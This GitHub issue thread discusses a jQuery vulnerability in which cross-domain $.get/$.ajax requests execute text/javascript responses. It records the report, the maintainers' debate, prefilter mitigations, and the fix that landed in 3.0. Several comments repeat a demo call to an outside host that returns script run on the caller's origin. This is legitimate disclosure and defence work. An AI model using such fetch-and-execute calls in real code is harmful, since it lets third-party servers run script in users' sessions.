Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses #2432

Closed
homakov opened this Issue Jun 26, 2015 · 34 comments

Projects

None yet

9 participants

@homakov
homakov commented Jun 26, 2015

Because of this https://github.com/jquery/jquery/blob/250a1990baa571de60325ab2c52eabb399c4cf9e/src/ajax/script.js#L18 every text/javascript response gets executed. Even if we made a request to another service. CORS was created exactly to prevent this kind of behavior in JSONP (arbitrary code execution).

So when we do $.get('http://weather.com/sf-weather') or like in Rails' jquery_ujs a form is being sent automatically, the attacker can respond us with text/javascript and execute arbitrary code on our origin. Demo $.get('http://sakurity.com/jqueryxss')

The fix is to not execute responses from 3rd party origins by default and make it an option. Don't know who to cc to discuss it.

P.S. I would switch it off for same origin either, because using subtle redirect_to saving tricks we can redirect user to local JSONP endpoint and still get an XSS but those are much more sophisticated vectors.

@homakov homakov changed the title from Inadequate jQuery behavior for 3rd party requests with JS responses to Inadequate/dangerous jQuery behavior for 3rd party text/javascript responses Jun 26, 2015
@dmethvin
Member

There would be some pretty significant backcompat implications here. $.get is just a thin wrapper around $.ajax. If the "intelligent guess" logic is a problem the caller can use $.ajax with an explicit "text" data type and do the conversion manually/explicitly.

@homakov
homakov commented Jun 27, 2015

@dmethvin I generally agree that it's developer's responsibility to use $.ajax properly with all options to control the response processing. However if we google "jquery cors request" good half of the results doesn't use dataType setting.

Anyway if it seems hard to monkey patch it for cross domain requests, I'm fine with it.

@dmethvin
Member

I should have made it clear that I really dislike the "intelligent guess" logic too, for this very reason. If it was taken out and the caller had to declare their data type (or explicitly tell us to guess?) the hole would close. But I suspect it would break a ton of the world's sites. What do others think?

@homakov
homakov commented Jun 27, 2015

But I suspect it would break a ton of the world's sites

I don't see how it can break something because the fix is only for cross domain requests not using dataType: 'script' and expecting javascript (not jsonp). Why would a website load JS from other domains via $.ajax? This is really weird and I feel it's safe to patch.

@timmywil
Member

@homakov Thanks for opening an issue. Would you be comfortable opening a PR with the proposed changes? I think we could evaluate this change more thoroughly if we could see some code.

@homakov
homakov commented Jun 30, 2015

@timmywil i'm only doing security but i will see if i can write this thing

@dmethvin
Member
dmethvin commented Sep 9, 2015

I should also clarify that in this case the "attacker" is a web site that you're asking for data via $.ajax() that happens to be a script. So it's similar to when you include third party code via <script> tags. If you have a proposed fix we would like to see it.

@homakov
homakov commented Sep 10, 2015

Via .post and .get too. Always, if you don't specify dataType.

@markelog markelog added the Ajax label Sep 10, 2015
@markelog markelog added a commit to markelog/jquery that referenced this issue Sep 10, 2015
@markelog markelog Ajax: Mitigate possible XSS vulnerability
Fixes gh-2432
5d33076
@markelog markelog added a commit to markelog/jquery that referenced this issue Sep 10, 2015
@markelog markelog Ajax: Mitigate possible XSS vulnerability
Fixes gh-2432
2546bb3
@markelog
Member

Not sure if should do it though - #2588

/cc @jaubourg

@markelog markelog added a commit to markelog/jquery that referenced this issue Sep 10, 2015
@markelog markelog Ajax: Mitigate possible XSS vulnerability
Fixes gh-2432
c254d30
@jaubourg
Member

Everything about automated script detection is configurable so it's pretty easy to disable it (untested examples that should work):

// Good: disable javascript detection globally
$.ajaxSetup( {
    contents: {
        javascript: false
    }
} );

// Acceptable: disable text to javascript promotion (but will break intended manual conversions)
$.ajaxSetup( {
    converters: {
        "test => javascript": false
    }
} );

// Preferred: use a prefilter to be more specific (only crossDomain)
$.ajaxPrefilter( function( s ) {
    if ( s.crossDomain ) {
        s.contents.javascript = false;
    }
} );

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

@markelog
Member

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

@jaubourg
Member

Not a fan of changing the behaviour within the lib but I can understand the rationale (though I'd recommand just removing the javascript dataType detection in the default options then).

That would disable detection for all requests, whereas same origin request are still considered safe?

Exactly, the other option is to use the prefilter which makes the behaviour pretty difficult to document imo. Hence why I'd rather go with pushing the solution in userland.

@homakov
homakov commented Sep 14, 2015

@jaubourg teaching users is very hard, remember $(location.hash) bug, it took years of vulnerable apps for jQuery to fix this. The one I posted is not used in the wild yet, but imagine how many apps use code like that.

@timmywil
Member

The change to not execute cross domain scripts by default is much less obtrusive than turning off all script execution by default. I think @markelog's solution is worth trying in the next release.

@jaubourg
Member

@homakov, there are lots of other ways to execute malicious scripts with the DOM API alone. This is not a case of user input being unchecked and used as is, it's a case of code reaching knowingly to a hard-coded URL. There's a big difference. People all around the globe are already using scripts from other domains (CDNs) which poses the exact same issue.

@timmywil, since we can handle this with configuration (ie a prefilter), I don't see the appeal of hacking deep into the conversion logic.

@timmywil
Member

@jaubourg I agree this can be handled easily with a prefilter, but the advantage of changing the default behavior is that users err on the side of security, rather than unintentionally executing cross domain scripts.

@homakov
homakov commented Sep 14, 2015

Many people use CDNs but here they definitely don't expect current behavior. I would rank it as Low severity, but the fix is simple so i think it's worth it

@markelog markelog added a commit that closed this issue Oct 12, 2015
@markelog markelog Ajax: Mitigate possible XSS vulnerability
Proposed by @jaubourg

Fixes gh-2432
Closes gh-2588
b078a62
@markelog markelog closed this in b078a62 Oct 12, 2015
@markelog markelog added a commit that referenced this issue Oct 12, 2015
@markelog markelog Ajax: Mitigate possible XSS vulnerability
Proposed by @jaubourg

Cherry-picked from b078a62
Fixes gh-2432
Closes gh-2588
f60729f
@markelog
Member

@homakov i believe we mitigate this, would you mind testing it out?

@timmywil timmywil removed the Needs review label Oct 12, 2015
@homakov
homakov commented Oct 15, 2015

$.get('http://sakurity.com/jqueryxss') doesn't work on edge so @markelog fixed

@reedloden
Contributor

This fix was backed out of 2.2.x branch (ad358fd), which is really confusing. The fix is still in 1.12.x, though. So, jQuery 1.12.x is safer than 2.2.x. That's disturbing. Can we get this security fix back on 2.2.x?

@markelog
Member

@reedloden hey, thanks for pointing that out, would you mind creating a ticket about this? No need to write about it in three places at once.

@mgol
Member
mgol commented Mar 21, 2016

@reedloden We had to revert that because it was a breaking change so it shouldn't have been done in 1.12/2.2. We'll revert it in 1.12.3 as well (see #3011).

This fix will arrive in 3.0.0.

@mgol mgol added this to the 3.0.0 milestone Mar 21, 2016
@mgol
Member
mgol commented Mar 21, 2016

@markelog I added the milestone as this ticket didn't have one.

@HeliumSquid HeliumSquid added a commit to HeliumSquid/cocktail.sass that referenced this issue Apr 1, 2016
@HeliumSquid HeliumSquid ⬆️ Update jQuery. 9bcd7a8
@szarouski

@mgol this is a 5 line breaking change vs 14 page scrolls of upgrade instructions to version 3. This is a case that is missing in semver, when you have a breaking change, but you can't create a major update because you already have one. I'm not emotional here, just trying to bring a little bit of attention to the problem (but that might be off topic). I can only think of custom semver versioning with 4 digits, something like MAJOR.CURRENT-MAJOR-BREAKING-HOTFIX.MINOR.PATCH.

@szarouski

If I add those 5 lines in my custom code, before using jquery I should be protected from the issue, right?

@mgol
Member
mgol commented Jul 27, 2016

@szarouski As indicated by the milestone and the comments, this issue is fixed in jQuery 3.0. What else do you need?

This is a case that is missing in semver, when you have a breaking change, but you can't create a major update because you already have one.

What do you mean? I don't understand.

@homakov
homakov commented Jul 27, 2016

@mgol is it? can you run $.get('http://sakurity.com/jqueryxss') on any jquery 3 website and see popup lie i do?

@mgol
Member
mgol commented Jul 27, 2016

@homakov Can you post an example of such a site? I've just checked and it doesn't work.

@szarouski

@mgol I'm sorry I wasn't clear. I have 5 projects that in total combine into a giant project and all of them use jquery 2.2.4. The fix is for CORS is backwards incompatible, so it is reverted and released in version 3. The problem is that fix is 5 line change that would be much easier to fix in comparison to upgrading to version 3. So I wonder if I can add those 5 lines in custom code after jquery library but before using jquery api, in order to fix security issue for 2.x versions? At some point I will definitely upgrade to v3, but at the moment there is no bandwidth to do so and at the same time I really don't want to have a vulnerability in the most used library on the project.

I mentioned semver as jquery already have v2.x.x and v3.x.x. Taking this in count, there is no straight forward way in semver to incorporate incompatible, yet important change for version 2.

@mgol
Member
mgol commented Jul 27, 2016

@szarouski OK, now I understood. :) Yes, adding those 5 lines will fix the issue for you. Note, though, that you'll only have a vulnerability if you $.get(untrusted_url) which is non-advisable anyway.

@markelog
Member
markelog commented Jul 27, 2016 edited

@szarouski read the #2432 (comment)

And you know, you have to really jump through the hoops in order to consider this a real threat or real anything, we did it for "just in case" kinda situation, right thing to do and all, but realistically, this is nothing to be concern about

@homakov
homakov commented Jul 27, 2016

@mgol it's not exactly non-advisable. It's like grabbing weather data from an external site supporting CORS.

I don't have v3 site at hand so let's consider it fixed 👍

@osuritz
osuritz commented Oct 12, 2016

Can we sum up which versions are still affected by this issue? Is 1.2.14 the only one (of 1.2.x series) that has the fix merged in?

@mgol
Member
mgol commented Oct 12, 2016

@osuritz The fix is included only in jQuery 3.0.0 and newer. You need to upgrade to have it included.

@Dulf Dulf referenced this issue in IdentityServer/IdentityServer3 Oct 31, 2016
Open

Outdated version of jQuery referenced #3338

@dLobatog dLobatog added a commit to dLobatog/foreman that referenced this issue Nov 29, 2016
@dLobatog dLobatog Fixes #17516 - Update jquery to 1.13 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site Scripting (XSS) attacks when a cross-domain ajax request is performed without the dataType option causing text/javascript responses to be executed.

jquery/jquery#2432 for more information
b1a7f7a
@dLobatog dLobatog added a commit to dLobatog/foreman that referenced this issue Nov 29, 2016
@dLobatog @dLobatog dLobatog + dLobatog Fixes #17516 - Update jquery to 1.12 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site
Scripting (XSS) attacks when a cross-domain ajax request is performed
without the dataType option causing text/javascript responses to be
executed.

jquery/jquery#2432 for more information
f966eaf
@dLobatog dLobatog added a commit to dLobatog/foreman that referenced this issue Nov 30, 2016
@dLobatog @dLobatog dLobatog + dLobatog Fixes #17516 - Update jquery to 1.12 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site
Scripting (XSS) attacks when a cross-domain ajax request is performed
without the dataType option causing text/javascript responses to be
executed.

jquery/jquery#2432 for more information
e80cec5
@dLobatog dLobatog added a commit to dLobatog/foreman that referenced this issue Dec 19, 2016
@dLobatog @dLobatog dLobatog + dLobatog Fixes #17516 - Update jquery to 2.1 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site
Scripting (XSS) attacks when a cross-domain ajax request is performed
without the dataType option causing text/javascript responses to be
executed.

jquery/jquery#2432 for more information
fb1e141
@dLobatog dLobatog added a commit to dLobatog/foreman that referenced this issue Dec 19, 2016
@dLobatog @dLobatog dLobatog + dLobatog Fixes #17516 - Update jquery to 2.1 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site
Scripting (XSS) attacks when a cross-domain ajax request is performed
without the dataType option causing text/javascript responses to be
executed.

jquery/jquery#2432 for more information
1e7a2f4
@dLobatog dLobatog added a commit to dLobatog/foreman that referenced this issue Dec 21, 2016
@dLobatog @dLobatog dLobatog + dLobatog Fixes #17516 - Update jquery to 2.1 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site
Scripting (XSS) attacks when a cross-domain ajax request is performed
without the dataType option causing text/javascript responses to be
executed.

jquery/jquery#2432 for more information
50b649d
@dLobatog dLobatog added a commit to dLobatog/foreman that referenced this issue Dec 21, 2016
@dLobatog @dLobatog dLobatog + dLobatog Fixes #17516 - Update jquery to 2.2.4 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site
Scripting (XSS) attacks when a cross-domain ajax request is performed
without the dataType option causing text/javascript responses to be
executed.

jquery/jquery#2432 for more information
2439b05
@tbrisker tbrisker added a commit to theforeman/foreman that referenced this issue Dec 21, 2016
@dLobatog @tbrisker dLobatog + tbrisker Fixes #17516 - Update jquery to 2.2.4 to fix XSS
Affected versions of the package (< 1.12) are vulnerable to Cross-site
Scripting (XSS) attacks when a cross-domain ajax request is performed
without the dataType option causing text/javascript responses to be
executed.

jquery/jquery#2432 for more information
9356b0b
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment